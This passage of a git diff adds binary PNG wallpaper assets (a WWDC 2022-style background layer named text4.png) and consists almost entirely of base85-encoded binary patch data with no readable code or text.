zaN_v4K+0!t-pmK5?#Lfaq--6A|8A65@sceu{=x8|5KiU4A^a~-^8f39V+6>hJNUpC W=*C{^Xw$EQM^^Cb*Q(7i5B>$)Po4e% literal 0 HcmV?d00001 diff --git a/Resources/WallpaperSamples/Cipher by mightycooldude12/descriptors/09E9B685-7456-4856-9C10-47DF26B76C33/versions/1/contents/7400.WWDC_2022-390w-844h@3x~iphone.wallpaper/7400.WWDC_2022_Background-390w-844h@3x~iphone.ca/assets/text4.png b/Resources/WallpaperSamples/Cipher by mightycooldude12/descriptors/09E9B685-7456-4856-9C10-47DF26B76C33/versions/1/contents/7400.WWDC_2022-390w-844h@3x~iphone.wallpaper/7400.WWDC_2022_Background-390w-844h@3x~iphone.ca/assets/text4.png new file mode 100644 index 0000000000000000000000000000000000000000..28a8a1649830426bb3cab86e803e14846b96985b GIT binary patch literal 89042 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 